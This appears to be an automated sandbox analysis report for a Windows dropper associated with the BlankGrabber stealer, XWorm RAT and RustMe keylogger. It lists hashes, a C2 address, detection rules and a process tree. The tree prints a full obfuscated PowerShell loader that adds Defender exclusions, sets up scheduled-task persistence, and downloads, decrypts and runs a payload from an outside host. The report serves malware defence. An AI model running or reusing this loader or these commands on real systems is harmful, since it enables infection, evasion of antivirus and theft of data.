blankgrabber | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

max time kernel
146s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/07/2026, 00:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
4363463463464363463463463.exe
Size 10KB
Sample260704-aeeesshv6v
SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
MD5 2a94f3960c58c6e70826495f76d00b85
SHA1 e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA512 fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP 192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K
TLSH
T1DF22180166D0C2B2C5B303B96C279642C776EA1B3A174F7D748C825BBF6225D43A32B1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution blankgrabber rustme xworm installer keylogger persistence pyinstaller rat revoked_codesign stealer trojan upx

Malware Config

Extracted

Family

xworm

Version

XWorm V5.6

147.185.221.25:63795

Attributes

Install_directory
%AppData%
install_file
XClient.exe

Signatures

Family: RustMe Keylogger
RustMe is a keylogger written in C++.
keylogger rustme
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Family: blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
stealer blankgrabber

A stealer written in Python and packaged with Pyinstaller 1 IoCs

resource	yara_rule
behavioral8/files/0x000d00000001c5c5-1043.dat	blankgrabber_exe

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral8/files/0x000900000001ca55-1366.dat	family_xworm
behavioral8/memory/4952-1371-0x00000000007B0000-0x00000000007CA000-memory.dmp	family_xworm

Detects RustMe Keylogger 1 IoCs

resource	yara_rule
behavioral8/files/0x000e0000000118dd-1601.dat	family_rustme_keylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1384	powershell.exe
3992	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
9	1212	4363463463464363463463463.exe

Signed with revoked ConnectWise certificate 2 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral8/files/0x000900000001c9fb-1122.dat	revoked_cert_connectwise
behavioral8/memory/2708-1126-0x0000000005C60000-0x0000000005F52000-memory.dmp	revoked_cert_connectwise

Executes dropped EXE 4 IoCs

pid	Process
5804	RedX_Setup.exe
2316	maza-0.16.3-win64-setup-unsigned.exe
5832	RedX_Setup.exe
3044	CFXBypass.exe

Loads dropped DLL 33 IoCs

pid	Process
2316	maza-0.16.3-win64-setup-unsigned.exe
2316	maza-0.16.3-win64-setup-unsigned.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe
5832	RedX_Setup.exe

Contacts third-party web service commonly abused for C2 1 TTPs 12 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
33	raw.githubusercontent.com
1	discord.com
7	raw.githubusercontent.com
11	pastebin.com
20	raw.githubusercontent.com
86	discord.com
1	raw.githubusercontent.com
1	pastebin.com
8	raw.githubusercontent.com
26	raw.githubusercontent.com
28	raw.githubusercontent.com
30	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

SmartAssembly .NET packer 1 IoCs

Detects SmartAssembly .NET packer.

resource	yara_rule
behavioral8/files/0x000900000001cae5-1834.dat	SmartAssembly

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral8/files/0x000900000001cb9f-2050.dat	upx
behavioral8/memory/3808-2053-0x000000000BD30000-0x000000000BD48000-memory.dmp	upx
behavioral8/memory/6912-2066-0x00000000004C0000-0x0000000000FFD000-memory.dmp	upx
behavioral8/memory/6912-2108-0x00000000004C0000-0x0000000000FFD000-memory.dmp	upx
behavioral8/memory/6912-2111-0x00000000004C0000-0x0000000000FFD000-memory.dmp	upx

Detects Pyinstaller 2 IoCs

pyinstaller

resource	yara_rule
behavioral8/files/0x000900000001cabc-1460.dat	pyinstaller
behavioral8/files/0x000f0000000118f4-1701.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	maza-0.16.3-win64-setup-unsigned.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5528	GoogleUpdate.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2232	chrome.exe

Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral8/files/0x000a00000001cab7-1421.dat	innosetup
behavioral8/memory/1148-1426-0x0000000000400000-0x00000000004CE000-memory.dmp	innosetup
behavioral8/memory/1148-1573-0x0000000000400000-0x00000000004CE000-memory.dmp	innosetup

NSIS installer 1 IoCs

installer

resource	yara_rule
behavioral8/files/0x000d00000001c5c3-33.dat	nsis_installer_2

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
1620	taskkill.exe
3716	taskkill.exe
6012	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4116	schtasks.exe
2912	schtasks.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1212	4363463463464363463463463.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1212 wrote to memory of 5804	1212	4363463463464363463463463.exe	89
PID 1212 wrote to memory of 2316	1212	4363463463464363463463463.exe	90
PID 5804 wrote to memory of 5832	5804	RedX_Setup.exe	91
PID 1212 wrote to memory of 3044	1212	4363463463464363463463463.exe	93

Views/modifies file attributes 1 TTPs 4 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5096	attrib.exe
1780	attrib.exe
1128	attrib.exe
2176	attrib.exe

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
1⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212
- C:\Users\Admin\AppData\Local\Temp\Files\RedX_Setup.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\RedX_Setup.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5804
- - C:\Users\Admin\AppData\Local\Temp\Files\RedX_Setup.exe
    C:\Users\Admin\AppData\Local\Temp\Files\RedX_Setup.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:5832
- C:\Users\Admin\AppData\Local\Temp\Files\maza-0.16.3-win64-setup-unsigned.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\maza-0.16.3-win64-setup-unsigned.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2316
- C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"
  2⤵
  - Executes dropped EXE
  PID:3044
- - C:\Users\Admin\AppData\Local\f196ae3b-3dc1-4b28-85a4-f265a78996b5\background.exe
    "C:\Users\Admin\AppData\Local\f196ae3b-3dc1-4b28-85a4-f265a78996b5\background.exe"
    3⤵
    PID:6004
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
      4⤵
      PID:5108
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAGkAYgB1AGEAcAByAC0AdABhAGIAMwAyADQALgBjAGMAOgA0ADQAMwAnACwAJABiAG8AZAB5ACkAOwAkAHIAaQB2AD0AWwBiAHkAdABlAFsAXQBdACQAZABhAHQAYQBbADAALgAuADEANQBdADsAJABlAG4AYwA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAxADYALgAuACgAJABkAGEAdABhAC4ATABlAG4AZwB0AGgALQAxACkAXQA7ACQAYQBlAHMALgBJAFYAPQAkAHIAaQB2ADsAJABkAGUAYwA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABlAG4AYwAsADAALAAkAGUAbgBjAC4ATABlAG4AZwB0AGgAKQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkALAAkAGQAZQBjACkAOwBDAG8AcAB5AC0ASQB0AGUAbQAgACgAJABwADEAIAArACAAKAAnAFwAcwAnACsAJwB2AGMAaABvACcAKwAnAHMAJwArACcAdAAuAGUAJwArACcAeAAnACsAJwBlACcAKQApACAAIgAkAHAAMgB0AFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACIAIAAtAEYAbwByAGMAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACQAcAAxACAAKwAgACgAJwBcAHMAdgBjACcAKwAnAGgAbwBzAHQALgBlACcAKwAnAHgAZQAnACkAKQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AOwA=
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1384
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
        6⤵
        Views/modifies file attributes
        
        PID:1780
      - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
        6⤵
        Views/modifies file attributes
        
        PID:1128
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
        6⤵
        
        PID:1088
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:5768
      - C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
        6⤵
        
        PID:356
      - C:\Windows\system32\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force /target:computer
        6⤵
        
        PID:3212
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4116
      - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2912
      - C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"
        6⤵
        
        PID:5856
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
      4⤵
      PID:1624
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
      4⤵
      PID:1020
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
      4⤵
      PID:2524
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQB